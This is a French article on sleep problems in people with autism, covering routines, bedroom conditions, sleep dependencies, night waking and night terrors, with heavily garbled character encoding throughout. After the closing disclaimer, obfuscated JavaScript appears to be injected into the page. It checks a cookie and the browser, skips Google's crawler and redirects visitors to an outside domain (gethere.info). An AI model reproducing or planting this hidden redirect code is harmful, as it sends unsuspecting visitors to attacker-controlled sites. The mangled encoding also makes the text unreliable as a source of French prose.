Le sommeil

Les problA?mes de sommeil sont rencontrAi??s chez de nombreuses personnes avec autisme. Les difficultAi??s sont variAi??es :

• comportements qui interfA?rent avec lai??i??endormissement
• difficultAi??s Ai?? sai??i??endormir seul
• endormissement tardif
• rAi??veils nocturnes
• rAi??veils trA?s tA?t le matin

Bien dormir est trA?s important de par son impact sur la personne et sur son entourage. Le manque de sommeil peut se rAi??percuter sur les comportements de la personne dans la journAi??e (troubles du comportement, diminution de la coopAi??ration et des capacitAi??s dai??i??attention, augmentation de comportements dai??i??autostimulation ou autres comportements empA?chant les apprentissageai??i??), mais Ai??galement avoir des effets Ai?? long terme (problA?me dai??i??obAi??sitAi?? Ai?? lai??i??A?ge adulte, problA?mes Ai??motionnels et comportementaux Ai?? lai??i??adolescence, anxiAi??tAi?? Ai?? lai??i??A?ge adulte et problA?me de sommeil Ai?? lai??i??A?ge adulte).

De plus, ces problA?mes affectent lai??i??entourage, et notamment les parents et les relations au sein de la famille.

Dormir est une compAi??tence Ai?? acquAi??rir.

Souvent, nous observons des comportements qui interfA?rent avec le sommeil : ce sont tous les comportements qui apparaissent aprA?s la routine du soir et le Ai??Ai??bonne nuitAi??Ai?? (ex : cris, sortir du lit, stAi??rAi??otypiesai??i??). Ces comportements retardent lai??i??endormissement. Un bon dormeur sai??i??endort en 3 min. Notre objectif sera 15 min.

Le sommeil est dAi??pendant de nombreuses indications dans lai??i??environnement : luminositAi??, tempAi??rature, notre oreillerai??i??

Nous devons nous poser les questions suivantes :

• de quoi la personne a tai??i??elle besoin pour dormir?
• quels renforAi??ateurs sont disponibles au milieu de la nuit?

Pour mettre en place le traitement nous devons :

• identifier la durAi??e de sommeil adaptAi?? Ai?? lai??i??A?ge de lai??i??enfant ou de la personne
• Ai??valuer quand elle sai??i??endort
• Ai??valuer la Ai??Ai??zone interditeAi??Ai??, la pAi??riode Ai?? laquelle la personne ne sai??i??endormira pas (3h avant lai??i??heure Ai?? laquelle la personne sai??i??est endormie la veille).

ENDORMISSEMENT :

• mettre la personne au lit 1h plus tard que la veille. De cette faAi??on, dormir devient plus intAi??ressant (renforAi??ant)
• instaurer des routines qui devraient inclure des activitAi??s calmes et choisies par la personne
• Ai??viter le bain avant de se coucher, qui augmente la tempAi??rature corporelle alors que celle-ci descend au moment de lai??i??endormissement
• diminuer la luminositAi?? de la piA?ce 15 Ai?? 30 min avant de se coucher
• diminuer les sources de stimulation (notamment les Ai??crans)
• si petit encas avant de dormir, Ai??viter la cafAi??ine.

La chambre :

• tempAi??rature fraAi??che
• lumiA?re indirecte
• le silence nai??i??est pas lai??i??idAi??al – un bruit blanc peut aider (voir machine Ai?? sons)

COOPERATION

• ne pas mettre de systA?me de rAi??compense en place
• mettre en place une routine du soir
• augmenter la coopAi??ration pendant la journAi??e (voir le texte sur le contrA?le instructionnel)

DEPENDANCE LIEES AU SOMMEIL

Tout le monde dAi??pend de quelque chose dans lai??i??environnement pour sai??i??endormir. Tout le monde se rAi??veille pendant la nuit. Si les conditions prAi??sentes lors de lai??i??endormissement ne sont pas prAi??sentes lors du rAi??veil, on ne sait pas se rendormir.

Il faut A?tre dAi??pendant de quelque chose qui sera prAi??sent toute la nuit. Si il y a une dAi??pendance inappropriAi??e, on essaiera de lai??i??estomper (doucement) et de la remplacer par une nouvelle dAi??pendance.

LES COMPORTEMENTS QUI INTERFERENT AVEC Lai??i??ENDORMISSEMENT

Il faut identifier les comportements et analyser leurs fonctions.

Selon la fonction nous pourrons mettre en place diffAi??rentes stratAi??gies qui viseront Ai??

• procurer le renforAi??ateur qui maintient les comportements problA?mes pendant la journAi??e de faAi??on Ai?? ce que la personne les recherche moins au moment du coucher
• Si des comportements apparaissent aprA?s le bonne nuit, on pourra mettre en place des procAi??dures telles que lai??i??attente progressive, les visites basAi??es sur le calme, les visites programmAi??es, le passeai??i??

REVEILS NOCTURNES

Ces rAi??veils peuvent disparaitre avec les procAi??dures dAi??crites ci-dessus.

Si ils perdurent, cai??i??est que quelque chose les renforce. Nous devons analyser ce qui renforce le comportement et retirer ces sources de renforcement (enfant qui allume les lumiA?res la nuit, on retire les ampoules ou les fusibles).

Dai??i??autres procAi??dures peuvent A?tre mises en place avec un professionnel.

TERREURS NOCTURNES ET CAUCHEMARS

Cauchemar : pendant le cauchemar, le tonus musculaire est faible. Aller voir la personne, la rassurer, puis sortir quelques instants de la chambre et revenir. Faire cela plusieurs fois. Il y a de grandes chances quai??i??elle se rendorme pendant notre absence.

Terreurs nocturnes : muscles trA?s tendus. on peut parler, crier, marcher, se retournerai??i?? Laisser faire et aller voir la personne quand cai??i??est finit..

Les informations donnAi??es dans cet article ne remplacent pas lai??i??intervention dai??i??un professionnel qui pourra proposer un traitement en fonction de ses observations.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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